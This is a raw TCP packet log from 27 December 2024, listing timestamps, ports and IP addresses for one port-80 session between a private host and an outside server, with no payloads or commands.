Dec 27, 2024 08:41:31.424210072 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.425071001 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.425084114 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.425156116 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.425791979 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.425885916 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.426070929 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.426803112 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.426815987 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.426904917 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.427680016 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.427727938 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.427798033 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.428545952 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.428644896 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.428694010 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.429502010 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.429590940 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.429662943 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.430351973 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.430500984 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.431359053 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.431421041 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.431443930 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.431618929 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.432272911 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.432291985 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.432348967 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.433110952 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.433269024 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.433324099 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.434084892 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.434129000 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.434199095 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.435046911 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.435094118 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.435218096 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.435909986 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.435986042 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.436198950 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.436779022 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.436904907 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.436976910 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.437719107 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.437799931 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.437954903 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.438604116 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.438720942 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.439579964 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.439615965 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.439647913 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.439706087 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.440457106 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.440588951 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.440687895 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.441457033 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.441520929 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.441657066 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.442308903 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.442426920 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.442502975 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.443248987 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.443371058 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.443428993 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.444158077 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.444279909 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.444381952 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.445086956 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.445236921 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.445344925 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.445924044 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.446029902 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.446080923 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.446854115 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.447046041 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.447211027 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.447755098 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.447866917 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.448734999 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.448761940 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.448824883 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.449645996 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.449716091 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.449738979 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.450506926 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.450563908 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.450603008 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.450911045 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.451549053 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.451618910 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.451747894 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.452368021 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.452450991 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.452574015 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.453285933 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.453332901 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.453398943 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.454256058 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.454313993 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.454430103 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.455118895 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.455198050 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.455295086 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.456027031 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.456155062 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.456644058 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.479043007 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.479072094 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.479124069 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.479341984 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.479393959 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.479482889 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.480283022 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.480423927 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.480479002 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.481152058 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.481230021 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.481291056 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.482032061 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.482146978 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.482290983 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.483230114 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.483242035 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.483414888 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.483918905 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.483979940 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.484072924 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.484797955 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.484919071 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.485023022 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.485723972 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.485821962 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.485882998 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.486676931 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.486747026 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.486824989 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.487587929 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.541435003 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.549922943 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.550009966 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.550374985 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.550479889 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.550534010 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.550833941 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.551280022 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.551393032 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.552226067 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.552258968 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.552314997 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.552397013 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.553087950 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.553227901 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.553426981 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.554052114 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.554182053 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.554297924 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.554955006 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.555039883 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.555130959 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.616094112 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.616250038 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.616307020 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.616498947 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.616621017 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.617449045 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.617521048 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.617608070 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.617690086 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.618303061 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.618443012 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.618557930 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.619208097 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.619385958 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.619451046 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.620194912 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.620217085 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.620322943 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.621049881 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.621196985 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.621284962 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.621964931 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.622088909 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.622153044 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.622894049 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.623030901 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.623800039 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.623867035 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.623930931 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.623990059 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.624782085 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.624854088 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.624913931 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.625653982 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.625708103 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.625825882 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.626595020 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.626688957 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.627510071 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.627598047 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.627608061 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.628292084 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.628398895 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.628555059 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.628675938 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.629317999 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.629450083 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.630213976 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.630297899 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.630369902 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.630425930 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.631144047 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.631237984 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.631354094 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.632066011 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.632162094 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.632261038 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.632957935 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.633074045 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.633877039 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.633951902 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.634001970 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.634828091 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.634896994 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.634952068 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.635046005 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.635761976 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.635869026 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.635963917 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.636636019 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.636768103 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.636833906 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.637571096 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.637669086 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.637761116 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.638489962 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.638592958 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.639390945 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.639494896 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.639519930 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.640331984 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.640400887 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.640428066 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.640484095 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.641222954 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.641343117 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.641402006 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.642122984 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.642261982 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.642318964 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.643062115 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.643182993 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.643969059 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.644031048 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.644176960 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.644237995 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.644871950 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.645001888 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.645073891 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.645802021 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.645917892 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.645986080 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.646720886 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.646867037 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.646933079 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.647665977 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.647885084 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.648370028 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.648561001 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.671190023 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.671268940 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.671364069 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.671485901 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.671607018 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.671674013 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.672379971 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.672473907 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.672517061 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.673297882 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.673371077 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.673393965 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.674185038 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.674273968 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.674300909 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.675182104 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.675224066 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.675307989 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.676024914 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.676170111 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.676220894 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.676943064 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.677092075 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.677140951 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.677825928 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.677908897 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.677932024 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.678800106 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.678893089 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.678944111 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.679712057 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.680408001 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.742192030 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.742201090 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.742371082 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.742479086 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.742619038 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.743192911 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.743278027 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.743309975 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.744334936 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.744343042 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.744424105 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.745090008 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.745260000 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.745354891 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.745964050 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.746062040 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.746889114 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.746953964 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.746964931 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.748804092 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.808677912 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.808751106 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.808860064 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.808940887 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.809053898 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.809127092 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.809828997 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.809947014 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.810029984 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.810722113 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.810916901 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.810976028 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.811800957 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.811939955 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.812633038 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.812730074 CET	49715	80	192.168.2.8	185.215.113.16
Dec 27, 2024 08:41:31.812752008 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.813462973 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.813580990 CET	80	49715	185.215.113.16	192.168.2.8
Dec 27, 2024 08:41:31.813585043 CET	49715	80	192.168.2.8	185.215.113.16
